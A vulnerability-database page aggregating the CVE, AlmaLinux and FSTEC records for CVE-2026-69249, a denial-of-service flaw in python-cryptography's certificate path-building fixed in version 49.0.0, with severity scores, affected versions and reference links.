Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-69249 (GCVE-0-2026-69249)
Vulnerability from cvelistv5 – Published: 2026-08-03 21:26 – Updated: 2026-09-04 21:20- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags |
|---|---|
| https://github.com/pyca/cryptography/security/adv… | x_refsource_CONFIRM |
| https://github.com/pyca/cryptography/pull/14960 | x_refsource_MISC |
| https://github.com/pyca/cryptography/commit/3763aa79b | x_refsource_MISC |
| https://github.com/pyca/cryptography/commit/4a12c… | x_refsource_MISC |
| https://github.com/pypa/advisory-database/tree/ma… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| pyca | cryptography |
Affected:
>= 42.0.0, < 49.0.0
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-69249",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-04T14:08:23.254769Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-04T14:08:58.056Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "cryptography",
"vendor": "pyca",
"versions": [
{
"status": "affected",
"version": "\u003e= 42.0.0, \u003c 49.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-04T21:20:32.666Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"name": "https://github.com/pyca/cryptography/pull/14960",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pyca/cryptography/pull/14960"
},
{
"name": "https://github.com/pyca/cryptography/commit/3763aa79b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"name": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"name": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
}
],
"source": {
"advisory": "GHSA-jwv3-5hgf-82ww",
"discovery": "UNKNOWN"
},
"title": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-69249",
"datePublished": "2026-08-03T21:26:45.826Z",
"dateReserved": "2026-08-03T19:54:19.852Z",
"dateUpdated": "2026-09-04T21:20:32.666Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-69249",
"date": "2026-09-17",
"epss": "0.00252",
"percentile": "0.16895"
},
"microsoft_vex": {
"current_release_date": "2026-08-23T14:43:26.000Z",
"cve": "CVE-2026-69249",
"id": "msrc_CVE-2026-69249",
"initial_release_date": "2026-08-07T01:20:10.000Z",
"product_status:fixed": "1",
"product_status:known_affected": "1",
"source": "Microsoft CSAF VEX",
"status": "final",
"title": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-69249.json",
"version": "2"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-69249\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-03T22:16:52.720\",\"lastModified\":\"2026-09-10T20:36:14.340\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"pyca\",\"product\":\"cryptography\",\"versions\":[{\"version\":\"\u003e= 42.0.0, \u003c 49.0.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-04T14:08:23.254769Z\",\"id\":\"CVE-2026-69249\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-400\"}]}],\"references\":[{\"url\":\"https://github.com/pyca/cryptography/commit/3763aa79b\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pyca/cryptography/pull/14960\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-09-08T20:42:22+00:00",
"cve": "CVE-2026-69249",
"id": "CVE-2026-69249",
"initial_release_date": "2026-08-03T21:26:45.826000+00:00",
"product_status:fixed": "29",
"product_status:known_affected": "3",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-69249.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "moderate",
"current_release_date": "2026-09-11T01:04:40Z",
"cve": "CVE-2026-69249",
"id": "CVE-2026-69249",
"initial_release_date": "2026-08-04T16:21:01Z",
"product_status:first_fixed": "2",
"product_status:known_affected": "394",
"product_status:known_not_affected": "123",
"product_status:recommended": "6",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-69249",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-69249.json",
"version": "10"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-69249\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-04T14:08:23.254769Z\"}}}], \"references\": [{\"url\": \"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-04T14:08:53.909Z\"}}], \"cna\": {\"title\": \"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building\", \"source\": {\"advisory\": \"GHSA-jwv3-5hgf-82ww\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"HIGH\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"pyca\", \"product\": \"cryptography\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 42.0.0, \u003c 49.0.0\"}]}], \"references\": [{\"url\": \"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\", \"name\": \"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/pyca/cryptography/pull/14960\", \"name\": \"https://github.com/pyca/cryptography/pull/14960\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/pyca/cryptography/commit/3763aa79b\", \"name\": \"https://github.com/pyca/cryptography/commit/3763aa79b\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582\", \"name\": \"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml\", \"name\": \"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-09-04T21:20:32.666Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-69249\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-09-04T21:20:32.666Z\", \"dateReserved\": \"2026-08-03T19:54:19.852Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-03T21:26:45.826Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
alsa-2026:64774
Vulnerability from osv_almalinux
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)
- python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
{
"affected": [
{
"package": {
"ecosystem": "AlmaLinux:9",
"name": "python3.14-cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "45.0.4-4.el9_8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"details": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. \n\nSecurity Fix(es): \n\n * python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n * python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n",
"id": "ALSA-2026:64774",
"modified": "2026-09-08T08:52:03Z",
"published": "2026-09-08T00:00:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:64774"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-69248"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-69249"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2510815"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2510830"
},
{
"type": "ADVISORY",
"url": "https://errata.almalinux.org/9/ALSA-2026-64774.html"
}
],
"related": [
"CVE-2026-69249",
"CVE-2026-69248"
],
"summary": "Important: python3.14-cryptography security update"
}
alsa-2026:64795
Vulnerability from osv_almalinux
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)
- python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "AlmaLinux:10",
"name": "python3.14-cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "45.0.4-4.el10_2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"details": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. \n\nSecurity Fix(es): \n\n * python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n * python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n",
"id": "ALSA-2026:64795",
"modified": "2026-09-08T08:53:53Z",
"published": "2026-09-08T00:00:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:64795"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-69248"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-69249"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2510815"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2510830"
},
{
"type": "ADVISORY",
"url": "https://errata.almalinux.org/10/ALSA-2026-64795.html"
}
],
"related": [
"CVE-2026-69249",
"CVE-2026-69248"
],
"summary": "Important: python3.14-cryptography security update"
}
BDU:2026-11011 (CVE-2026-69249)
Vulnerability from fstec – Published: 2026-08-05 – Updated: 2026-08-05 – View on bdu.fstec.ru Exploit publicly available Fixed- CWE-400 - Неконтролируемый расход ресурса («Истощение ресурса»)
{
"CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:N/A:C",
"CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
"remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
"\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Python Cryptographic Authority",
"\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u043e\u0442 48.0.0 \u0434\u043e 49.0.0 (cryptography)",
"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\n\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 49.0.0:\nhttps://github.com/pyca/cryptography/tags\nhttps://github.com/pyca/cryptography/pull/14960\nhttps://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582",
"\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "31.07.2026",
"\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "05.08.2026",
"\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "05.08.2026",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-11011",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-69249, GHSA-jwv3-5hgf-82ww",
"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
"\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "cryptography",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 build_chain_inner() \u043f\u0430\u043a\u0435\u0442\u0430 cryptography \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Python, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0440\u0430\u0441\u0445\u043e\u0434 \u0440\u0435\u0441\u0443\u0440\u0441\u0430 (\u00ab\u0418\u0441\u0442\u043e\u0449\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u00bb) (CWE-400)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 build_chain_inner() \u043f\u0430\u043a\u0435\u0442\u0430 cryptography \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Python \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0440\u0430\u0441\u0445\u043e\u0434\u043e\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432",
